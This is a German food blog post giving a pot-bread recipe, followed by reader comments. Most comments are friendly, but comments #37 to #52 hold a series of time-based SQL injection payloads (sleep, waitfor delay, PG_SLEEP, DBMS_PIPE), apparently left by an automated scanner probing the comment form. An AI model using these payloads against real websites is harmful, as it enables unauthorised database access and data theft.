Mai2019  ·  30. Mai 2019

Topfbrot

Topfbrot

Um ein außergewöhnlich gutes Brot zu machen, braucht es nur wenige Zutaten.

 

Dieses Topfbrot ist auch für Backanfänger bestens geeignet und schmeckt unglaublich gut. 

Zutaten für das Topfbrot:

 

600 ml Wasser

800 g Mehl

1 Würfel Germ

20 g Salz

 

1.   Germ in einer großen Plastikschüssel in 600 ml lauwarmen Wasser auflösen. Salz und Mehl mit dem Kochlöffel einarbeiten, bis keine Klumpen mehr zu sehen sind. Der Teig wird nun mit Frischhaltefolie abgedeckt und über Nacht bei Raumtemperatur stehen gelassen.

 

2.   Nach der Ruhezeit wird der Teig auf eine stark bemehlte Fläche gekippt. Mit der Teigspachtel werden die Ränder ein paar Mal nach innen geschlagen. So erhält der Teig die nötige Spannung. Der Teig ist relativ weich, aber genau so soll er sein. Nun wird die Oberfläche mit Mehl bestäubt, sodass er nicht mehr klebt.

 

3.   Jetzt kippt man den Teig in eine Rührschüssel. Vorsicht, diese Rührschüssel soll kleiner als der Topf sein, indem der Teig zum Backen kommt.

 

4.   Der Teig darf nochmals eine Stunde Rasten.

 

5.   Backofen auf 250°C vorheizen. De Topf mitsamt Deckel kommt auch mit ins Rohr (keinen Topf oder Deckel mit Plastikhenkel benutzen!).

 

6.  Wenn die Rastzeit vorüber ist, wird der sehr heiße!!! Topf aus dem Rohr genommen. Man kleidet den Topf nun mit einem großen Stück Backpapier aus und kippt den Teig aus der Schüssel in den Topf. Deckel drauf und ab in den Ofen.

 

7.   Das Brot wird nun ca. 45 min gebacken. Wenn man eine stärkere Bräuning der Kruste wünscht, kann man den Deckel nach einer halben Stunde Backzeit entfernen.

 

8.   Wenn das Brot eine schöne Bräunung hat, wird es aus dem Topf zum Abkühlen auf einen Rost gekippt, um auskühlen zu können.

 

Zugegeben, als ich das Topfbrot das erste Mal gemacht habe, erschien es mir relativ aufwändig für ein Weißbrot, aber der Geschmack des Brotes hat mich so überzeugt, sodass ich es immer wieder gerne backe.

Topfbrot angeschnitten
Topfbrot von oben im Topf

Rezepttipp: einfacher Kaiserschmarrn

Schon mal mein Rezept für diesen einfachen Kaiserschmarrn ausprobiert? Denn was wäre die österreichische Küche ohne dieser Mehlspeise?

Er schmeckt wunderbar saftig und kommt mit wenigen Handgriffen auf den Tisch.

 

Tags: vegan , brot, rezept, topfbrot, 2019, mai2019

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Kommentare: 75
  • #1

    JEAN (Freitag, 29 März 2019 14:31)

    Traumhaftes Teil.. werd ich auch versuchen.

  • #2

    Martina (Freitag, 29 März 2019 15:23)

    Vielen Dank lieber Jan! Das Brot ist wikrlich mindestens so gut wie es aussieht. Bin gespannt, wie es schmeckt. LG Martina

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  • #37

    pHqghUme (Mittwoch, 06 März 2024 21:38)

    1*if(now()=sysdate(),sleep(15),0)

  • #38

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    10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

  • #39

    pHqghUme (Mittwoch, 06 März 2024 21:44)

    10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

  • #40

    pHqghUme (Mittwoch, 06 März 2024 21:48)

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • #41

    pHqghUme (Mittwoch, 06 März 2024 21:51)

    1-1; waitfor delay '0:0:15' --

  • #42

    pHqghUme (Mittwoch, 06 März 2024 21:54)

    1-1); waitfor delay '0:0:15' --

  • #43

    pHqghUme (Mittwoch, 06 März 2024 21:56)

    1-1 waitfor delay '0:0:15' --

  • #44

    pHqghUme (Mittwoch, 06 März 2024 21:58)

    1g9ljKJli'; waitfor delay '0:0:15' --

  • #45

    pHqghUme (Mittwoch, 06 März 2024 22:01)

    1-1 OR 230=(SELECT 230 FROM PG_SLEEP(15))--

  • #46

    pHqghUme (Mittwoch, 06 März 2024 22:04)

    1-1) OR 336=(SELECT 336 FROM PG_SLEEP(15))--

  • #47

    pHqghUme (Mittwoch, 06 März 2024 22:06)

    1-1)) OR 49=(SELECT 49 FROM PG_SLEEP(15))--

  • #48

    pHqghUme (Mittwoch, 06 März 2024 22:09)

    12cxKqtNM' OR 231=(SELECT 231 FROM PG_SLEEP(15))--

  • #49

    pHqghUme (Mittwoch, 06 März 2024 22:13)

    1hFKVj8wU') OR 378=(SELECT 378 FROM PG_SLEEP(15))--

  • #50

    pHqghUme (Mittwoch, 06 März 2024 22:16)

    1yli4Wb3P')) OR 884=(SELECT 884 FROM PG_SLEEP(15))--

  • #51

    pHqghUme (Mittwoch, 06 März 2024 22:19)

    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

  • #52

    pHqghUme (Mittwoch, 06 März 2024 22:22)

    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • #53

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    pHqghUme (Mittwoch, 06 März 2024 23:11)

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